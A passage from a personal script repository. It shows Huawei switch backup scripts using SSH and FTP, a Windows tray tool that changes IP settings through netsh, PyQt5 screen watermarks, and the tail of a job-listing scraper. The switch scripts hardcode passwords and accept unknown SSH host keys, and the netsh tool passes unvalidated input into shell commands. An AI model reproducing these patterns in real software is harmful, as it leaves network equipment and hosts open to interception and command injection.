                ['EP9 温铁军:生态文明战略能否扭转不断萎缩的乡村教育?【温言铁语-问答9】','https://www.bilibili.com/video/BV1Ck4y1J7Di'],
                ['卡尔·马克思:青年在选择职业时的考虑', 'https://www.marxists.org/chinese/marx/marxist.org-chinese-marx-1835-8.htm'],
                ['【王德峰】总拿自己的专长交换财富,最后只会变成精致的利己主义者','https://www.bilibili.com/video/BV1cu4y1174E'],
                ['“我们现在的教育,正在培养出一批‘绝对的、精致的利己主义者。”【钱理群】','https://www.bilibili.com/video/BV1pd4y1G7r2']
            ]
    
            for row, data_row in enumerate(extra_data, start=1):
                for col, value in enumerate(data_row, start=1):
                    extra_sheet.cell(row=row, column=col, value=value)
    
    
    if __name__ == '__main__':
        job_data_list = ZhiPin.get_job_list()
        zhipin_json = ZhiPin.save_to_json(job_data_list)
    
        workbook = Workbook()
        workbook.remove(workbook.active)
    
        # DataToExcel.save_to_excel(workbook, os.path.join(
        #         os.path.join(os.path.expanduser("~"), "Desktop"),
        #         "boss_{}.json".format(datetime.now().strftime('%Y-%m-%d'))
        #     ))
    
        DataToExcel.save_to_excel(workbook,zhipin_json)
        save_xlsx = os.path.join(
            os.path.join(os.path.expanduser("~"), "Desktop"),
            "boss_{}.xlsx".format(datetime.now().strftime('%Y-%m-%d'))
            )
        workbook.save(save_xlsx)
    
    
    ================================================
    FILE: d-python-datacom/readme.txt
    ================================================
    数通专用
    
    
    ================================================
    FILE: d-python-datacom/交换机FTP服务器下载备份文件到本地.py
    ================================================
    import ftplib
    import os
    import csv
    
    # === 全局配置 ===
    CSV_FILE = "C:/Users/administrator/Desktop/交换机清单.csv"              # CSV 文件路径
    LOCAL_DIR = "C:/Users/administrator/Desktop/交换机文件备份"             # 本地保存路径
    REMOTE_FILE_PATH = "/vrpcfg.zip"          # 统一的远程文件路径
    
    def download_from_ftp(name, ip, port, username, password):
        local_file_path = os.path.join(LOCAL_DIR, f"{name}.zip")
    
        try:
            # 连接 FTP
            ftp = ftplib.FTP()
            ftp.connect(ip, int(port))
            ftp.login(username, password)
            print(f"[+] 成功连接至 {name} ({ip})")
    
            # 进入远程目录(如有)
            remote_dir = os.path.dirname(REMOTE_FILE_PATH)
            if remote_dir and remote_dir != "/":
                ftp.cwd(remote_dir)
                print(f"    切换目录到: {remote_dir}")
    
            # 创建本地目录
            os.makedirs(LOCAL_DIR, exist_ok=True)
    
            # 下载并重命名
            with open(local_file_path, "wb") as f:
                ftp.retrbinary(f"RETR {os.path.basename(REMOTE_FILE_PATH)}", f.write)
            print(f"[✓] 下载完成: {local_file_path}")
    
            ftp.quit()
        except ftplib.all_errors as e:
            print(f"[!] {name} ({ip}) 下载失败: {e}")
    
    def main():
        if not os.path.exists(CSV_FILE):
            print(f"[!] 找不到CSV文件: {CSV_FILE}")
            return
    
        with open(CSV_FILE, newline='', encoding='utf-8') as csvfile:
            reader = csv.DictReader(csvfile)
            for row in reader:
                name = row["name"]
                ip = row["ip"]
                port = row["port"]
                username = row["username"]
                password = row["password"]
                print(f"\n[•] 开始处理: {name} ({ip})")
                download_from_ftp(name, ip, port, username, password)
    
    if __name__ == "__main__":
        main()
    
    
    ================================================
    FILE: d-python-datacom/交换机缓冲区日志备份.py
    ================================================
    import paramiko
    import time
    import os
    from datetime import datetime
    import re
    from colorama import Fore, Back, Style
    from wasabi import msg
    
    # 配置交换机的信息
    hostname = "192.168.1.3"  # 交换机的IP地址
    username = "yonghuming"  # SSH 登录用户名
    password = "Mima12345@"  # SSH 登录密码
    port = 2399  # 端口号
    
    # 动态生成备份文件名,包含日期时间
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")  # 格式化时间
    current_date = datetime.now().strftime("%Y%m%d")  # 当天日期
    backup_filename = f"switch_log_backup_{timestamp}.txt"  # 配置备份文件名
    
    # 获取当前用户桌面路径
    desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
    date_folder_path = os.path.join(desktop_path, current_date)  # 当天日期的文件夹路径
    backup_filepath = os.path.join(date_folder_path, backup_filename)  # 文件完整路径
    
    # 如果日期文件夹不存在,则创建
    os.makedirs(date_folder_path, exist_ok=True)
    
    # 记录开始时间
    start_time = time.time()
    now_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(Fore.YELLOW + "当前时间为:"+ now_time)
    msg.warn("警告:输出缓冲区所有日志信息,预计操作时间大约 15 分钟左右。")
    
    
    # 创建 SSH 客户端
    client = paramiko.SSHClient()
    
    # 自动接受未知的主机密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        # 连接到交换机
        client.connect(hostname, username=username, password=password, port=port)
    
        # 打开交互式 shell
        shell = client.invoke_shell()
    
        # 禁用分页(根据交换机品牌和型号,命令可能不同)
        shell.send("screen-length 0 temporary\n")  # Huawei 设备
        # time.sleep(2)
    
        # 执行显示 logbuffer 命令
        shell.send("display logbuffer\n")
        # time.sleep(3)  # 等待命令执行
    
        output = ""
        collecting = True  # 标记是否在收集数据
    
        # 设置缓冲区大小,100kb左右
        buffer_size = 100100  # 缓冲区大小,适当调整
        
    
        # 记录上一次读取的部分,用于判断是否继续
        last_part = ""
        
        while collecting:
            part = shell.recv(buffer_size).decode('utf-8')  # 每次读取更大的字节数
            output += part  # 将读取到的内容追加到输出中
    
            # 如果没有新数据,判断是否结束
            if len(part) == 0 or part == last_part:
                # 可以使用短时间的延时(减少不必要的停顿)
                time.sleep(0.2)  # 稍微减少等待时间,避免不必要的长时间停顿
                if len(part) == 0:  # 如果没有新数据,认为输出结束
                    collecting = False
            
            last_part = part  # 更新上次读取的部分
    
        # 先将原始输出写入文件
        with open(backup_filepath, "w") as backup_file:
            backup_file.write(output)
    
        # 重新读取文件内容,应用正则清理
        with open(backup_filepath, "r") as backup_file:
            raw_content = backup_file.read()
    
        # 使用正则删除 display logbuffer 之前的所有信息
        cleaned_output = re.sub(
            r"(?s).*?display logbuffer\n", 
            "", 
            raw_content
        )
    
        # 将清理后的内容写回文件
        with open(backup_filepath, "w") as backup_file:
            backup_file.write(cleaned_output)
    
        print(f"备份已完成,配置已保存到 {backup_filepath}")
    
    except paramiko.AuthenticationException:
        print("SSH 认证失败,请检查用户名和密码.")
    except paramiko.SSHException as e:
        print(f"SSH 连接或执行过程中发生错误: {e}")
    except Exception as e:
        print(f"发生错误: {e}")
    
    finally:
        # 记录结束时间并计算执行时间
        end_time = time.time()
        elapsed_time = end_time - start_time  # 计算耗时
        
        minutes = int(elapsed_time // 60)  # 计算分钟
        seconds = int(elapsed_time % 60)  # 计算秒钟
        now_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(Fore.YELLOW + f"代码操作完成,当前时间:{now_time},总耗时: {minutes} 分 {seconds} 秒")
    
        # 关闭 SSH 连接
        client.close()
    
    
    ================================================
    FILE: d-python-datacom/单个交换机配置备份模板.py
    ================================================
    import paramiko
    import time
    import os
    from datetime import datetime
    import re
    
    # 配置交换机的信息
    hostname = "192.168.1.250"  # 交换机的IP地址
    username = "yonghuming"  # SSH 登录用户名
    password = "Mima12345@"  # SSH 登录密码
    
    # 动态生成备份文件名,包含日期时间
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")  # 格式化时间
    current_date = datetime.now().strftime("%Y%m%d")  # 当天日期
    backup_filename = f"switch_backup_{timestamp}.cfg"  # 配置备份文件名
    
    # 获取当前用户桌面路径
    desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
    date_folder_path = os.path.join(desktop_path, current_date)  # 当天日期的文件夹路径
    backup_filepath = os.path.join(date_folder_path, backup_filename)  # 文件完整路径
    
    # 如果日期文件夹不存在,则创建
    if not os.path.exists(date_folder_path):
        os.makedirs(date_folder_path)
    
    # 创建 SSH 客户端
    client = paramiko.SSHClient()
    
    # 自动接受未知的主机密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        # 连接到交换机
        client.connect(hostname, username=username, password=password)
        # client.connect(hostname, username=username, password=password, port=2399)
    
        # 打开交互式 shell
        shell = client.invoke_shell()
    
        # 禁用分页
        shell.send("screen-length 0 temporary\n")
        time.sleep(1)
    
        # 执行备份命令
        shell.send("display current-configuration\n")
        time.sleep(2)  # 等待命令执行
    
        output = ""
        found_ops = False  # 初始化标志位,标记是否已找到 "ops"
    
        while True:
            # 增加接收缓冲区大小
            part = shell.recv(8848).decode('utf-8')
    
            # 将输出追加到结果中
            output += part
    
            # 判断是否遇到 "return"
            if 'return' in part:
                found_ops = True
    
            # 如果找到了 "ops",继续读取直到出现 "return"
            if found_ops and 'return' in part:
                break  # 找到 "return",停止读取
    
        # 先将原始输出写入文件
        with open(backup_filepath, "w") as backup_file:
            backup_file.write(output)
    
        # 重新读取文件内容,应用正则清理
        with open(backup_filepath, "r") as backup_file:
            raw_content = backup_file.read()
    
        # 使用正则删除 dis cu 以上所有信息,保证格式与 vrpcfg.cfg 等同
        cleaned_output = re.sub(
            r"(?s).*?display current-configuration\n", 
            "", 
            raw_content
        )
    
        # 将清理后的内容写回文件
        with open(backup_filepath, "w") as backup_file:
            backup_file.write(cleaned_output)
    
        print(f"备份已完成,配置已保存到 {backup_filepath}")
    
    except Exception as e:
        print(f"连接或备份过程中发生错误: {e}")
    
    finally:
        # 关闭 SSH 连接
        client.close()
    
    
    ================================================
    FILE: d-python-datacom/批量上传交换机配置到本地FTP.py
    ================================================
    import paramiko
    import time
    import os
    import csv
    
    # 获取当前用户桌面路径
    desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
    
    # 读取 CSV 文件并逐行处理
    csv_file_path = os.path.join(desktop_path, "SSH登记表.csv")  # 假设 CSV 文件在桌面
    # ftp_server_ip = "192.168.1.58"  # 本机的 FTP 服务 IP 地址
    ftp_server_ip = "172.16.1.55" 
    ftp_username = "admin"  # FTP 用户名
    ftp_password = "123"  # FTP 密码
    
    try:
        with open(csv_file_path, "r", encoding="utf-8") as csv_file:
            csv_reader = csv.reader(csv_file)
            
            for row in csv_reader:
                # 解析每一行数据
                if len(row) < 6:  # 如果行的列数不足,跳过
                    print(f"跳过格式不正确的行: {row}")
                    continue
    
                device_name, alias_name, hostname, username, password, port = row
                port = int(port)
    
                print(f"正在连接到 {hostname} ({device_name}),端口 {port}...")
    
                # FTP 文件名(初始为 alias_name)
                ftp_filename = f"{alias_name}_backup.zip"
    
                # 创建 SSH 客户端
                client = paramiko.SSHClient()
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
                try:
                    # 连接到交换机
                    client.connect(hostname, port=port, username=username, password=password)
    
                    # 打开交互式 shell
                    shell = client.invoke_shell()
                    time.sleep(1)
    
                    # 启动 FTP 服务上传文件
                    shell.send(f"ftp {ftp_server_ip}\n")
                    time.sleep(2)
                    shell.send(f"{ftp_username}\n")  # 输入 FTP 用户名
                    time.sleep(1)
                    shell.send(f"{ftp_password}\n")  # 输入 FTP 密码
                    time.sleep(1)
    
                    # 上传配置文件
                    print(f"开始上传配置文件到 FTP 服务器,文件名: {ftp_filename}")
                    shell.send("binary\n")  # 切换到二进制模式
                    shell.send(f"put vrpcfg.zip {ftp_filename}\n")  # 上传文件
                    time.sleep(5)  # 等待上传完成
    
                    # 退出 FTP
                    shell.send("quit\n")
                    time.sleep(1)
    
                    # 重命名为 device_name
                    new_filename = f"{device_name}_backup.zip"
                    local_path = os.path.join(desktop_path,"本机开启FTP交换机上传文件到此目录", ftp_filename) # 拼接 FTP服务器保存的指定目录
                    renamed_path = os.path.join(desktop_path,"本机开启FTP交换机上传文件到此目录", new_filename)
    
                    if os.path.exists(local_path):  # 如果文件存在,重命名为中文名
                        os.rename(local_path, renamed_path)
                        print(f"文件已重命名为: {renamed_path}")
                    else:
                        print(f"文件上传后未找到: {local_path}")
    
                except Exception as e:
                    print(f"处理设备 {device_name} ({hostname}) 时出错: {e}")
    
                finally:
                    client.close()
    
    except FileNotFoundError:
        print(f"CSV 文件未找到,请确认路径是否正确: {csv_file_path}")
    except Exception as e:
        print(f"处理 CSV 文件时发生错误: {e}")
    
    
    ================================================
    FILE: d-python-datacom/批量交换机配置备份.py
    ================================================
    import paramiko
    import time
    import os
    import csv
    from datetime import datetime
    import re
    
    # 获取当前用户桌面路径
    desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
    
    # 动态生成当天日期的文件夹
    current_date = datetime.now().strftime("%Y%m%d")  # 当天日期
    date_folder_path = os.path.join(desktop_path, current_date)  # 日期文件夹路径
    
    # 如果日期文件夹不存在,则创建
    if not os.path.exists(date_folder_path):
        os.makedirs(date_folder_path)
    
    # 读取 CSV 文件并逐行处理
    csv_file_path = os.path.join(desktop_path, "SSH登记表.csv")  # 假设 CSV 文件在桌面
    try:
        with open(csv_file_path, "r", encoding="utf-8") as csv_file:
            csv_reader = csv.reader(csv_file)
            
            for row in csv_reader:
                # 解析每一行数据
                if len(row) < 6:
                    print(f"跳过格式不正确的行: {row}")
                    continue
    
                device_name, alias_name, hostname, username, password, port = row
                port = int(port)  # 将端口号转换为整数
                backup_filename = f"{device_name}.txt"  # 备份文件名
                backup_filepath = os.path.join(date_folder_path, backup_filename)  # 文件完整路径
    
                # 创建 SSH 客户端
                client = paramiko.SSHClient()
    
                # 自动接受未知的主机密钥
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
                try:
                    # 连接到交换机,使用动态端口
                    print(f"正在连接到 {hostname} ({device_name}),端口 {port}...")
                    client.connect(hostname, username=username, password=password, port=port)
    
                    # 打开交互式 shell
                    shell = client.invoke_shell()
    
                    # 禁用分页
                    shell.send("screen-length 0 temporary\n")
                    time.sleep(1)
    
                    # 执行备份命令
                    shell.send("display current-configuration\n")
                    time.sleep(2)  # 等待命令执行
    
                    output = ""
                    found_ops = False  # 初始化标志位,标记是否已找到 "ops"
    
                    while True:
                        # 增加接收缓冲区大小
                        part = shell.recv(8848).decode('utf-8')
    
                        # 将输出追加到结果中
                        output += part
    
                        # 判断是否遇到 "return"
                        if 'return' in part:
                            found_ops = True
    
                        # 如果找到了 "ops",继续读取直到出现 "return"
                        if found_ops and 'return' in part:
                            break  # 找到 "return",停止读取
    
                    # 先将原始输出写入文件
                    with open(backup_filepath, "w", encoding="utf-8") as backup_file:
                        backup_file.write(output)
    
                    # 重新读取文件内容,应用正则清理
                    with open(backup_filepath, "r", encoding="utf-8") as backup_file:
                        raw_content = backup_file.read()
    
                    # 使用正则删除 dis cu 以上所有信息,保证格式与 vrpcfg.cfg 等同
                    cleaned_output = re.sub(
                        r"(?s).*?display current-configuration\n", 
                        "", 
                        raw_content
                    )
    
                    # 将清理后的内容写回文件
                    with open(backup_filepath, "w", encoding="utf-8") as backup_file:
                        backup_file.write(cleaned_output)
    
                    print(f"{device_name} ({hostname}) 备份完成,保存到 {backup_filepath}")
    
                except Exception as e:
                    print(f"备份 {device_name} ({hostname}) 失败: {e}")
    
                finally:
                    # 关闭 SSH 连接
                    client.close()
    
    except FileNotFoundError:
        print(f"CSV 文件未找到,请确认路径是否正确: {csv_file_path}")
    except Exception as e:
        print(f"处理 CSV 文件时发生错误: {e}")
    
    
    ================================================
    FILE: d-python-datacom/网络切换及状态标注.py
    ================================================
    import subprocess 
    import os
    import time
    from PIL import Image, ImageDraw
    import pystray
    from pystray import MenuItem as item
    import threading
    from tkinter import Tk, Label, Entry, Button, messagebox
    
    # 定义接口名称
    interface = "以太网"
    
    # 固定静态 IP 配置(写死的 IP、子网掩码、网关和 DNS)
    static_ip = "172.16.1.55"
    static_mask = "255.255.255.0"
    static_gateway = "172.16.1.254"
    static_dns1 = "172.16.1.6"
    # static_dns2 = "114.114.114.114"
    
    # 创建透明背景的圆形图标
    def create_icon(color):
        size = (64, 64)
        image = Image.new('RGBA', size, (0, 0, 0, 0))
        draw = ImageDraw.Draw(image)
    
        if color == 'green':
            fill_color = (0, 255, 0, 255)
        elif color == 'yellow':
            fill_color = (255, 255, 0, 255)
        elif color == 'pink':
            fill_color = (255, 105, 180, 255)  # 粉色
        else:
            fill_color = (128, 128, 128, 255)  # 默认灰色
    
        draw.ellipse([0, 0, size[0], size[1]], fill=fill_color)
        return image
    
    # 检查网络是否启用 DHCP
    def check_dhcp():
        temp_file = os.path.join(os.getenv('TEMP'), 'display_dhcp_status_output.txt')
        subprocess.run(f'netsh interface ip show config name={interface} > "{temp_file}"', shell=True)
        
        dhcp_status = None
        retries = 5
        while retries > 0:
            try:
                with open(temp_file, 'r', encoding='gbk') as file:
                    for line in file:
                        if "DHCP 已启用" in line:
                            dhcp_status = line.split(":")[1].strip()
                break  # 成功读取文件后退出循环
            except PermissionError:
                time.sleep(1)  # 等待 1 秒后重试
                retries -= 1
    
        os.remove(temp_file)
        return dhcp_status
    
    # 获取当前的 IP 配置
    def get_current_ip_config():
        command = f'netsh interface ip show config name="{interface}"'
        result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding='gbk')
        output = result.stdout
    
        ip, mask, gateway, dns1, dns2 = None, None, None, None, None
    
        for line in output.splitlines():
            if "IP 地址" in line and not ip:
                ip = line.split(":")[1].strip()  # 去掉前后空格
            if "子网掩码" in line and not mask:
                mask = line.split(":")[1].strip()  # 去掉前后空格
            if "默认网关" in line and not gateway:
                gateway = line.split(":")[1].strip()  # 去掉前后空格
            if "DNS 服务器" in line:
                if not dns1:
                    dns1 = line.split(":")[1].strip()  # 去掉前后空格
                elif not dns2:
                    dns2 = line.strip()
    
        return ip, mask, gateway, dns1, dns2
    
    # 更新托盘图标状态
    def update_icon(icon):
        dhcp_status = check_dhcp()
        ip, mask, gateway, dns1, dns2 = get_current_ip_config()
    
        # 判断是否为 DHCP
        if dhcp_status == "是":
            icon.icon = create_icon('green')  # DHCP -> 绿色
        # 判断是否为固定静态 IP
        elif (ip == "172.16.1.55"):
        # elif (ip == static_ip and mask == static_mask and 
        #       gateway == static_gateway and dns1 == static_dns1):
            icon.icon = create_icon('yellow')  # 固定静态 IP -> 黄色
        # 否则为自定义静态 IP
        else:
            icon.icon = create_icon('pink')  # 自定义静态 IP -> 粉色
    
    # 切换到 DHCP
    def switch_to_dhcp(icon, item):
        subprocess.run(f'netsh interface ip set address name={interface} source=dhcp', shell=True)
        subprocess.run(f'netsh interface ip set dns name={interface} source=dhcp', shell=True)
        update_icon(icon)
    
    # 切换到固定静态 IP
    def switch_to_fixed_static(icon, item):
        subprocess.run(f'netsh interface ip set address name={interface} source=static addr={static_ip} mask={static_mask} gateway={static_gateway}', shell=True)
        subprocess.run(f'netsh interface ip set dns name={interface} source=static addr={static_dns1}', shell=True)
        # subprocess.run(f'netsh interface ip add dns name={interface} addr={static_dns2} index=2', shell=True)
        update_icon(icon)
    
    # 切换到自定义静态 IP
    def switch_to_custom_static(icon, item):
        def input_window():
            def submit():
                diy_ip = entry_ip.get().strip()
                diy_mask = entry_mask.get().strip()
                diy_gateway = entry_gateway.get().strip()
                diy_dns1 = entry_dns1.get().strip()
                diy_dns2 = entry_dns2.get().strip()
    
                if diy_ip and diy_mask and diy_gateway and diy_dns1:
                    subprocess.run(f'netsh interface ip set address name={interface} source=static addr={diy_ip} mask={diy_mask} gateway={diy_gateway}', shell=True)
                    subprocess.run(f'netsh interface ip set dns name={interface} source=static addr={diy_dns1}', shell=True)
                    if diy_dns2:
                        subprocess.run(f'netsh interface ip add dns name={interface} addr={diy_dns2} index=2', shell=True)
                    update_icon(icon)
                    root.destroy()
                else:
                    messagebox.showerror("错误", "请填写完整的必填项!")
    
            root = Tk()
            root.title("输入自定义静态 IP 配置")
            root.geometry("400x250")
            root.resizable(False, False)
    
            Label(root, text="IP 地址:").grid(row=0, column=0, padx=10, pady=5, sticky='e')
            Label(root, text="子网掩码:").grid(row=1, column=0, padx=10, pady=5, sticky='e')
            Label(root, text="网关地址:").grid(row=2, column=0, padx=10, pady=5, sticky='e')
            Label(root, text="首选 DNS:").grid(row=3, column=0, padx=10, pady=5, sticky='e')
            Label(root, text="备用 DNS (可选):").grid(row=4, column=0, padx=10, pady=5, sticky='e')
    
            entry_ip = Entry(root, width=30)
            entry_mask = Entry(root, width=30)
            entry_gateway = Entry(root, width=30)
            entry_dns1 = Entry(root, width=30)
            entry_dns2 = Entry(root, width=30)
    
            entry_ip.grid(row=0, column=1, padx=10, pady=5)
            entry_mask.grid(row=1, column=1, padx=10, pady=5)
            entry_gateway.grid(row=2, column=1, padx=10, pady=5)
            entry_dns1.grid(row=3, column=1, padx=10, pady=5)
            entry_dns2.grid(row=4, column=1, padx=10, pady=5)
    
            Button(root, text="提交", command=submit).grid(row=5, column=0, columnspan=2, pady=10)
            root.mainloop()
    
        threading.Thread(target=input_window, daemon=True).start()
    
    # 创建任务栏图标
    def on_quit(icon, item):
        icon.stop()
    
    def create_tray_icon():
        icon = pystray.Icon("network_status")
        icon.icon = create_icon('gray')
    
        # 创建托盘菜单
        icon.menu = pystray.Menu(
            item('切换到 DHCP', lambda icon, item: switch_to_dhcp(icon, item)),
            item('切换到固定静态 IP', lambda icon, item: switch_to_fixed_static(icon, item)),
            item('切换到自定义静态 IP', lambda icon, item: switch_to_custom_static(icon, item)),
            item('退出', on_quit)
        )
    
        update_icon(icon)
    
        # 定时更新图标状态
        def periodic_update():
            while True:
                update_icon(icon)
                time.sleep(5)
    
        threading.Thread(target=periodic_update, daemon=True).start()
    
        icon.run()
    
    if __name__ == "__main__":
         create_tray_icon()
    
    
    ================================================
    FILE: d-python-dc/watermark/backup/screen_watermark_qt5.py
    ================================================
    # screen_watermark_qt5.py
    import sys
    import socket
    import getpass
    import os
    from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QVBoxLayout
    from PyQt5.QtCore import Qt
    from PyQt5.QtGui import QFont
    
    
    '''
    作者:hoochanlon
    主页:https://github.com/hoochanlon
    '''
    
    # 设置 Qt 平台插件路径
    qt_plugin_path = os.path.join(os.path.expanduser("~"), "AppData", "Local", "Programs", "Python", "Python313", "Lib", "site-packages", "PyQt5", "Qt5", "plugins", "platforms")
    os.environ['QT_QPA_PLATFORM_PLUGIN_PATH'] = qt_plugin_path
    
    # 获取计算机名
    hostname = socket.gethostname()
    # 获取IP
    Compute_addr = socket.gethostbyname(hostname)
    # 获取登录用户名
    userName = getpass.getuser()
    
    show = f'屏幕加水印-{hostname}-{userName}-{Compute_addr}'
    
    # 自定义窗口类,用于水印显示
    class WatermarkWindow(QWidget):
        def __init__(self, position, pady=100, padx=0, parent=None):
            super().__init__(parent)
            self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.Tool)
            self.setAttribute(Qt.WA_TranslucentBackground)
            self.setWindowOpacity(0.4)  # 透明度40%
    
            # 获取屏幕宽高
            screen_geometry = QApplication.desktop().screenGeometry()
            self.setGeometry(screen_geometry)  # 设置窗口为全屏
    
            # 创建水印标签
            self.label = QLabel(self)
            self.label.setText(show)
            self.label.setFont(QFont('微软雅黑', 23))
            self.label.setStyleSheet('color: #708090;')
    
            # 使用布局设置标签位置
            layout = QVBoxLayout(self)
            layout.setContentsMargins(0, 0, 0, 0)  # 去除布局边距
    
            # 设置水印位置
            if position == 'nw':  # 左上角
                layout.setAlignment(Qt.AlignTop | Qt.AlignLeft)  # 水印左上对齐
                # layout.setContentsMargins(padx, 100, 0, 0)  # 控制左上边距 pady 100
                layout.setContentsMargins(padx, pady, 0, 0)  # 控制左上边距
            elif position == 'sw':  # 左下角
                layout.setAlignment(Qt.AlignBottom | Qt.AlignLeft)  # 水印左下对齐
                # layout.setContentsMargins(padx, 0, 0, 100)  # 控制左下边距 pady 100
                layout.setContentsMargins(padx, 0, 0, pady)  # 控制左下边距
            elif position == 'ne':  # 右上角
                layout.setAlignment(Qt.AlignTop | Qt.AlignRight)  # 水印右上对齐
                # layout.setContentsMargins(0, 100, padx, 0)  # 控制右上边距
                layout.setContentsMargins(0, pady, padx, 0)  # 控制右上边距
            elif position == 'se':  # 右下角
                layout.setAlignment(Qt.AlignBottom | Qt.AlignRight)  # 水印右下对齐
                # layout.setContentsMargins(0, 0, padx, 100)  # 控制右下边距 pady 100
                layout.setContentsMargins(0, 0, padx, 100)  # 控制右下边距 
            elif position == 'center':  # 屏幕中心
                layout.setAlignment(Qt.AlignCenter)  # 水印居中对齐
            elif position == 'e':  # 右中
                layout.setAlignment(Qt.AlignVCenter | Qt.AlignRight)  # 水印垂直居中,右对齐
            elif position == 'w':  # 左中
                layout.setAlignment(Qt.AlignVCenter | Qt.AlignLeft)  # 水印垂直居中,左对齐
    
            layout.addWidget(self.label)  # 添加标签到布局
    
        def paintEvent(self, event):
            # 不需要手动绘制背景或文本,使用布局和对齐来自动处理
            pass
    
    
    def create_windows():
        windows = []
        positions = [
            'nw', 'sw', 'center', 'ne', 'se',  # 四个角和中心位置
            'nw', 'sw',  # 重复左上角和左下角水印(可以添加多个水印)
            'e', 'w',    # 水印添加到右中和左中
            'ne', 'se'   # 重复右上角和右下角水印
        ]  # 水印位置列表
    
        # 创建每个窗口,并指定对应的边距和位置
        for position in positions:
            # if position == 'sw':  # 如果是左下角
            #     pady = 100  # 设置左下角水印的垂直偏移量(增加高度)
            window = WatermarkWindow(position)  # 创建水印窗口
            window.show()  # 显示水印窗口
            windows.append(window)  # 将窗口添加到列表
    
        # 添加第二个左下角水印
        sw2_window = WatermarkWindow('sw', pady=200)  # 创建另一个左下角水印,设置不同的pady值
        sw2_window.show()  # 显示第二个左下角水印
        windows.append(sw2_window)  # 添加到窗口列表
        
        return windows
    
    
    if __name__ == '__main__':
        # 检查文件是否存在
        Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
        current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
        exists = os.path.exists(current_dir)
    
        if exists:
            print("不显示")  # 如果文件存在,不显示水印
        else:
            app = QApplication(sys.argv)
            windows = create_windows()  # 创建水印窗口
            sys.exit(app.exec_())  # 启动应用程序
    
    
    ================================================
    FILE: d-python-dc/watermark/backup/screen_watermark_qt5_oblique_old.py
    ================================================
    import sys
    import os
    from PyQt5.QtWidgets import QApplication, QWidget
    from PyQt5.QtCore import Qt
    from PyQt5.QtGui import QPainter, QFont
    import hostname_user_ip_date
    
    '''
    作者:hoochanlon
    主页:https://github.com/hoochanlon
    '''
    
    # 设置 Qt 平台插件路径
    qt_plugin_path = os.path.join(os.path.expanduser("~"), "AppData", "Local", "Programs", "Python", "Python313", "Lib", "site-packages", "PyQt5", "Qt5", "plugins", "platforms")
    os.environ['QT_QPA_PLATFORM_PLUGIN_PATH'] = qt_plugin_path
    
    # 获取计算机名、用户名
    hostname, username = hostname_user_ip_date.get_hostname_username()
    
    # 获取IP
    compute_addr = hostname_user_ip_date.get_preferred_ip()
    
    # 获取时间
    current_date = hostname_user_ip_date.get_current_date()
    
    # 定义显示的水印文本
    show = f'屏幕加水印-{hostname}-{username}-{current_date}-{compute_addr}'
    
    
    class WatermarkWindow(QWidget):
        def __init__(self, position, pady=0, padx=0, parent=None):
            super().__init__(parent)
            self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.Tool)
            self.setAttribute(Qt.WA_TranslucentBackground)
            self.setWindowOpacity(0.4)  # 透明度40%
    
            # 获取屏幕宽高
            screen_geometry = QApplication.desktop().screenGeometry()
            self.setGeometry(screen_geometry)  # 设置窗口为全屏
            self.position = position
            self.pady = pady
            self.padx = padx
    
        def paintEvent(self, event):
            """自定义绘制水印文本,使用45度倾斜"""
            painter = QPainter(self)
            painter.setRenderHint(QPainter.Antialiasing)  # 设置抗锯齿渲染
            painter.setFont(QFont("微软雅黑", 23))  # 设置字体和大小
    
            # 保存当前状态
            painter.save()
    
            # 获取当前窗口宽高
            w = self.width()
            h = self.height()
    
            # 根据位置调整文本渲染偏移量
            if self.position == 'nw':
                watermark_text = f'左上角-{show}'  # 添加方向标记
                painter.translate(self.padx, self.pady)  # 左上角偏移
            elif self.position == 'sw':
                watermark_text = f'左下角-{show}'  # 添加方向标记
                painter.translate(self.padx, h - self.pady)  # 左下角偏移
            elif self.position == 'ne':
                watermark_text = f'右上角-{show}'  # 添加方向标记
                painter.translate(w - self.padx, self.pady)  # 右上角偏移
            elif self.position == 'se':
                watermark_text = f'右下角-{show}'  # 添加方向标记
                painter.translate(w - self.padx, h - self.pady)  # 右下角偏移
            elif self.position == 'center':
                watermark_text = f'中心-{show}'  # 添加方向标记
                painter.translate(w / 2 + self.padx, h / 2 + self.pady)  # 中心位置偏移
            elif self.position == 'e':
                watermark_text = f'右中-{show}'  # 添加方向标记
                painter.translate(w - self.padx - 50, h / 2 + self.pady)  # 调整偏移,确保水印可见
            elif self.position == 'w':
                watermark_text = f'左中-{show}'  # 添加方向标记
                painter.translate(self.padx + 50, h / 2 + self.pady)  # 调整偏移,确保水印可见
    
            painter.rotate(-45)  # 设置倾斜角度
            painter.setPen(Qt.gray)
    
            # 绘制水印文本
            painter.drawText(0, 0, watermark_text)  # 使用更新后的水印文本
            painter.restore()
    
    
    def create_windows():
        windows = []
    
        # 定义每个位置的偏移量
        positions = [
            ('nw', 50, 50),  # 左上角,偏移量 (pady, padx)
            ('sw', 100, 50),  # 左下角,偏移量 (pady, padx)
            ('ne', 50, 150),  # 右上角,偏移量 (pady, padx)
            ('se', 100, 150),  # 右下角,偏移量 (pady, padx)
            ('center', 0, 0),  # 中心,偏移量 (pady, padx)
            ('e', 0, 0),    # 右中,偏移到上方 (pady, padx)
            ('w', 0, 0)      # 左中,偏移到下方 (pady, padx)
        ]
    
        for position, pady, padx in positions:
            window = WatermarkWindow(position, pady=pady, padx=padx)
            window.show()
            windows.append(window)
    
        return windows
    
    
    if __name__ == '__main__':
        app = QApplication(sys.argv)
        windows = create_windows()
        sys.exit(app.exec_())
    
    
    ================================================
